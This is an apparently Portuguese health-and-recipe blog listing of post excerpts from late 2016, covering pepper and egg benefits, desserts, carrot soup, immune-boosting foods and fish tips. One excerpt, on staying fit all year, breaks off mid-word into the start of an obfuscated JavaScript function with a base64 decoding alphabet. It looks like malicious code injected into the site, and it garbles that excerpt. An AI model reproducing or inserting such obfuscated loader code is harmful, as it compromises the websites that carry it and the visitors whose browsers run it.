Dez 5, 2016 | Em Alta, Equilíbrio, Saúde e bem estar
Dicas saudáveis – Benefícios dos pimentos Verdes, vermelhos e amarelos… Os pimentos são como os clubes: há para todos os gostos! Já em relação aos pratos, os pimentos são uma verdadeira enchente de cor! Muitas vezes subvalorizados, com a ideia de que são...
Dez 1, 2016 | À descoberta, Receitas
2 sobremesas absolutamente irresistíveis LEITE-CREME DE MARACUJÁ (para 4-6 pessoas) Ingredientes: 1 L de leite 6 gemas 200 g de açúcar 60 g de farinha sumo de 7 maracujás (100 ml de sumo) açúcar mascavado q.b. Preparação: Com a ajuda de uma peneira, retire o sumo...
Nov 30, 2016 | Dicas úteis, Em Alta, Equilíbrio, Saúde e bem estar, Sugestões
Sopa de Cenoura e Espinafres (para 6 pessoas) Ingredientes para 6 pessoas: 3 cenouras 1 curgete ½ couve-flor 1 cebola 2 dentes de alhos 150g espinafres 3. sopa azeite q.b. sal Preparação: Descasque e corte os vegetais em pedaços. Pode deixar a casca da curgete....
Nov 28, 2016 | Em Alta, Equilíbrio, Saúde e bem estar
Dicas saudáveis – Conheça os benefícios dos ovos Os ovos são dos alimentos mais versáteis para cozinhar e eu confesso que gosto deles de todas as maneiras: mexidos, cozidos, estrelados, escalfados, fritos e até mesmo assados! E, além de serem uma verdadeira delícia,...
Nov 27, 2016 | Em Alta, Equilíbrio, Saúde e bem estar
O frio chegou – 15 alimentos que fortalecem o sistema imunitário Com as temperaturas a baixar, é fundamental reforçarmos as nossas defesas naturais para evitarmos idas frequentes ao médico. Através da alimentação conseguimos deixar a nossa imunidade em alta, só...
Nov 26, 2016 | Dicas úteis, Equilíbrio, Faça você mesmo, Receitas, Saúde e bem estar
Duas sobremesas doces para todos Bolachas de Amêndoa e Mirtilos Ingredientes para 25 bolachas: 200 g flocos de aveia 200 g amêndoa 2 c. sopa mel 1 c. chá fermento em pó 1 ovo batido 3 c. sopa óleo vegetal 2 c. chá essência baunilha q.b. mirtilos 4 nozes Preparação:...
Nov 24, 2016 | Em Alta, Equilíbrio, header, Saúde e bem estar
Dicas de nutrição – 5 peixes saudáveis e seguros Os peixes são alimentos saudáveis, é verdade, mas… uns mais do que outros. Para comer peixe com maior segurança, escolha as espécies mais pequenas e, de preferência, capturadas no ambiente natural em vez de...
Nov 22, 2016 | Dicas úteis, Em Alta, Equilíbrio, Saúde e bem estar, Zen Energy
Estar em boa forma todo o ano – 8 dicas O verão é sinónimo de praia, sol, amigos, família e, claro, grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Nov 21, 2016 | Em Alta, Equilíbrio, Saúde e bem estar
Dicas saudáveis – 8 benefícios da cenoura Melhorar a visão e prolongar o bronzeado são apenas alguns dos benefícios que pode obter se consumir regularmente cenoura. Este vegetal maravilhoso pode ser comido cru, cozido, em sumos, ao pequeno-almoço, ao almoço, ao lanche...
Nov 11, 2016 | À descoberta, Receitas
3 receitas saudáveis com castanhas Panquecas de castanha Ingredientes: 1 banana 1 ovo azeite virgem q.b. 1 colher de sopa de farinha de castanha 1 pitada de canela Modo de preparação: Com a varinha mágica triture 1 banana, 1 ovo, 1 colher de sopa de farinha de...
